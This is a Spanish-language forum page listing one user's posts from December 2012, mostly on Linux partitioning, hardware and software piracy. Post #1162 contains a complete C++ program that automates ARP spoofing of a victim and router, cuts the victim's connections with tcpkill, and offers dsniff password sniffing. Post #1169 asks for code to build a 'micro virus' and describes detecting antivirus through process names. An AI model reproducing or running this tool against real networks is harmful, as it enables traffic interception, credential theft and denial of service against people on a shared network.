Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Stakewinner00

#1161
Hardware / Re: MI PC se Apaga!
6 Diciembre 2012, 13:28 PM
puede que sea problema de software, puedes probar a iniciar con linux u otro sistema operativo haber si te pasa lo mismo.

PD:Hace tiempo vi un caso similar, soluciñon? PC nuevo.
#1162
Bueno, hoy por fin ya no tengo examenes y hice un programa para facilitar el arpspoof, aun no esta acabado y solo le puse las opciones esenciales.

El multithread lo copie de google, y pues como yo lo copie de alguien no me parece ético guardarme el programa para mi.

Les cuelgo el programa como dije solo tiene las opciones esenciales, pero lo cuelgo por si a alguien le resulta útil para aprender o quiere mejorarlo y adaptarlo a sus necesidades.

PD:Prohibido venderlo o no compartir vuestras mejoras.

Código (cpp) [Seleccionar]
//Compilar con gcc test.cpp -lpthread
#include <iostream>
#include <string>
#include <cstdlib>
#include <fstream>
#include <pthread.h>
#include <cstring>
   
#define NUM_THREADS     4

struct thread_data{
  int  thread_id;
  char *o;
  char *a;
};


using namespace std;
//Funcion que ejecuta los diferentes hilos
   void *arpspf_bidireccional (void *threadarg)
   {
     struct thread_data *my_data;
   
     my_data = (struct thread_data *) threadarg;
   
     if (my_data->thread_id==1) {system(my_data->o);}
     if (my_data->thread_id==2) {system(my_data->o);}
     if (my_data->thread_id==3) {system(my_data->a);}
     pthread_exit(NULL);
   }




//Funcion para la opcion bidireccional
int bidireccional(int oo, string opcion) {
  string interfaz="",a="",b=""; string O,A;
 system ("echo 1 > /proc/sys/net/ipv4/ip_forward");
//Mostramos la informacion de las interfacez
 system("ifconfig -s");
 cout << "INTERFAZ: ";
 cin >> interfaz;
 cout << endl << endl;
 //Listamos las ips que esten onkine
 system("netdiscover");
   cout << "IP DE LA VICTIMA: ";
 cin >> a;
 cout << "IP DEL ROUTER: ";
 cin >> b;
  pthread_t threads[NUM_THREADS];
  struct thread_data td[NUM_THREADS];
  int rc;
  int i;
  //Bucle para crear los hilos
  for( i=0; i < NUM_THREADS; i++ ){
     td[i].thread_id = i;
     //Condicionales para elegir el tipo de filtro
     switch (oo) {
case 1:A="gnome-terminal -e \"tcpkill -i "+interfaz+" src "+a+" or dst "+a+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str());
break;
case 2:A="gnome-terminal -e \"tcpkill -i "+interfaz+" dst "+a+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str());
break;
case 3:A="gnome-terminal -e \"tcpkill -i "+interfaz+" src "+a+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str());
break;
case 4:A="gnome-terminal -e \"tcpkill -i "+interfaz+" port "+opcion+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str());
break;
case 5:A="gnome-terminal -e \"tcpkill -i "+interfaz+" host "+opcion+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str());

     }
     //Condicionales para no ejecutar dos hilos iguales
    if (i==1)  { O="arpspoof -t "+a+" "+b;td[i].o = new char[O.length()+1];strcpy(td[i].o, O.c_str());}
    if (i==2)  { O="arpspoof -t "+b+" "+a;td[i].o = new char[O.length()+1];strcpy(td[i].o, O.c_str());}

     rc = pthread_create(&threads[i], NULL,
                         arpspf_bidireccional, (void *)&td[i]);
     if (rc){
        cout << "Error:unable to create thread," << rc << endl;
        return 0;
     }
  }
  pthread_exit(NULL);
}

//Menu principal
int main() {
 int o,oo;
 string opcion="";
cout << "Se requiere de gnome-terminal del paquete DSNIFF y de netdiscover O bactrack";
cout << "\n\n------MENU PRINCIPAL------\n";
cout << "1.CORTAR CONEXIONES CON TCPKILL\n2.ESNIFEAR CONTRASEÑAS CON DSNIFF\n0.DESCARGAR LOS PAQUETES NECESARIOS\n";
cin >> o;
if (o==0) {system("sudo apt-get install netdiscover");system("sudo apt-get install dsniff");system("sudo apt-get install gnome-terminal");return 0;}
system("clear");
cout << "\n \nFILTRO \n1.CORTAR LAS CONEXIONES DE LA VICTIMA\n2.CORTAR LAS CONEXIONES ENTRANTES DE LA VICTIMA\n3.CORTAR LAS CONEXIONES SALIENTES DE LA VICTIMA\n4.CORTAR CONEXIONES DE UN PUERTO\n5.CORTAR CONEXIONES CON UN HOST\n0.CREAR TU PROPIO FILTRO(NO HACER NADA)\n";
cin >> oo;
if (oo==4) {cout << endl << endl << "PUERTO: ";cin >> opcion;}
if (oo==5) {cout << endl << endl << "HOST o DOMINIO: ";cin >> opcion;}
cout << endl << endl;
bidireccional(oo,opcion);
}

#1163
GNU/Linux / Re: Pregunta sobre bactrack
5 Diciembre 2012, 15:50 PM
ok gracias.
#1164
GNU/Linux / Re: Pregunta sobre bactrack
4 Diciembre 2012, 22:12 PM
Tocando con el Gparted al final sin querer borre todo el disco duro incluido el windows.

Consegui aumentar un par de gb y luego sin querer puse en crear nuva particion y se me borro todo.

Supongo que el problema del espacio ya esta solucionado, ya tengo los 500gb del disco principal. Pensandolo bien no echare mucho de menos a windows menos por que tenia algunos programas poco importantes echos con vb.

Otra pregutna ya que el tema esta abierto. Que juegos de calidad hay que funcionen en linux? El skyirim podría funcionar?.


PD:Alguien sabe de forensica XD
#1165
GNU/Linux / Re: Pregunta sobre bactrack
4 Diciembre 2012, 14:59 PM
ok gracias, bueno queria decir bactrack y windows, me confundi.
Supongo que no hay problema no?

Probare a correr el live bactrack e aumentar el espacio de bactrack
#1166
Las empresas nos quieren sentar en un sillon delante de una pantalla mirando cine que ,actualmente y en mi opinion esta muy mal echo y mientras, que la gente vaya vaciando sus bolsillos por ver m***da
#1167
en algunos casos estoy a favor de no pagar ya que yo por ejemplo no tengo dinero para pagar las licencias de todos los programas que uso asi que creo yo que la estrategia de las empresas no debe ser de denunciar a los que no paguen sino de bajar los precios y ofrecer servicio de atención 24h en caso de que falle el software.

En mi opinon la economia va mal por que la mayoria de la gente no tiene ningun reparo en hacer cosas poco éticas y que perjudican a mucha gente. En fin es el sistema educativo y capitalista en el que vivimos asi que solo hay dos opciones...
#1168
GNU/Linux / Pregunta sobre bactrack
3 Diciembre 2012, 16:57 PM
Consegui instalar bactrack y windows a la vez, el problema que tengo ahora es que le meti 2gb de espacio y bueno me gustaria augmentarle el espacio del disco o mover carpetas coo bin o tmp a un disco duro externo medio ocupado.

Nose si hay alguna forma de augmentar el tamaño de la particion o se pueden mover carpetas pero con GParted me salian las particiones como bloqueadas, y cuando queria hacer una partición me decia que se borraria el disco duro.

En fin haber si alguien tiene alguna solucion.

Gracias.
#1169
Puedes hacer una lista de los procesos y por el nombre de los procesos saber que antivirus usa o sino tambien por el nombre de los servicios.

PD:Me podras pasar tu codigo? es que estoy intentando hacer un micro virus y me hiria bien mirar como lo as echo. NO lo subire a ningun sitio ni lo plagiare, bueno quizas me copie algo de sockets que lo k yo hice es una birria :D
#1170
si una bufanda,gorro o guantes para que en el invierno cuando se ponga esa pieza de ropa se acuerde de ti  ;)